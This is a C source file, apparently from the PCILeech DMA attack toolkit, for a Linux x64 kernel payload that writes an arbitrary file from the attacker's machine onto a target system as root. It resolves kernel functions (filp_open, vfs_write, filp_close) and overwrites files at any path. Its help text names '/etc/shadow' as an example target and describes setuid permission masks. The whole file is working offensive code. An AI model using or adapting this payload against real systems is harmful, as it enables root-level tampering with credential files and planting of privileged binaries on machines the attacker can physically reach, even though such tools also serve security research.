// lx64_filepush.c : kernel code to push files to target system. // Compatible with Linux x64. // // (c) Ulf Frisk, 2016 // Author: Ulf Frisk, pcileech@frizk.net // // compile with: // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_filepush.c // ml64 lx64_common_a.asm /Felx64_filepush.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_filepush.obj lx64_common.obj // shellcode64.exe -o lx64_filepush.exe "PUSH FILES TO TARGET SYSTEM \nLINUX X64 EDITION \n===============================================================\nPush a file from the local system to the target system. \nWARNING! Existing files will be overwritten! \n* Files created will be created with root as owner/group and get\n the access mask specified in the -0 parameter. \n* Files overwritten will keep the access mask and owner/group. \nREQUIRED OPTIONS: \n -in : file to push to target system from this system. \n filename is given in normal format. \n Example: '-in c:\temp\shadow' \n -s : file on target system. \n Example: '-s /etc/shadow' \n -0 : file access mask in HEXADECIMAL OR DECIMAL FORMAT! \n NB! linux file masks are ususally typed in octal - \n -rwsr-xr-x 4755 (oct) = 2541 (decimal) = 0x9ed (hex) \n -rwxrwxrwx 777 (oct) = 511 (decimal) = 0x1ff (hex) \n Example: '-0 0x1ff' \n -1 : run flag - set to non zero to push file. \n===== PUSH ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\nBYTES WRITTEN : 0x%08X\n===============================================================\n" // #include "lx64_common.h" #define O_WRONLY 00000001 #define O_CREAT 00000100 #define O_TRUNC 00001000 typedef struct tdFN2 { QWORD filp_close; QWORD filp_open; QWORD vfs_write; QWORD memcpy; } FN2, *PFN2; BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) { QWORD NAMES[4]; CHAR str_filp_close[] = { 'f', 'i', 'l', 'p', '_', 'c', 'l', 'o', 's', 'e', 0 }; CHAR str_filp_open[] = { 'f', 'i', 'l', 'p', '_', 'o', 'p', 'e', 'n', 0 }; CHAR str_vfs_write[] = { 'v', 'f', 's', '_', 'w', 'r', 'i', 't', 'e', 0 }; CHAR str_memcpy[] = { 'm', 'e', 'm', 'c', 'p', 'y', 0 }; NAMES[0] = (QWORD)str_filp_close; NAMES[1] = (QWORD)str_filp_open; NAMES[2] = (QWORD)str_vfs_write; NAMES[3] = (QWORD)str_memcpy; return LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, 4); } VOID c_EntryPoint(PKMDDATA pk) { FN2 fn2; QWORD hFile, qwOffset = 0; if(!pk->dataIn[1]) { pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD; return; } if(!LookupFunctions2(pk, &fn2)) { pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP; return; } SysVCall(fn2.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH); hFile = SysVCall(fn2.filp_open, pk->dataInStr, O_WRONLY | O_CREAT | O_TRUNC, pk->dataIn[0]); if(hFile > 0xffffffff00000000) { pk->dataOut[0] = STATUS_FAIL_FILE_CANNOT_OPEN; return; } pk->dataOut[1] = SysVCall(fn2.vfs_write, hFile, pk->DMAAddrVirtual + pk->dataInExtraOffset, pk->dataInExtraLength, &qwOffset); SysVCall(fn2.filp_close, hFile, NULL); }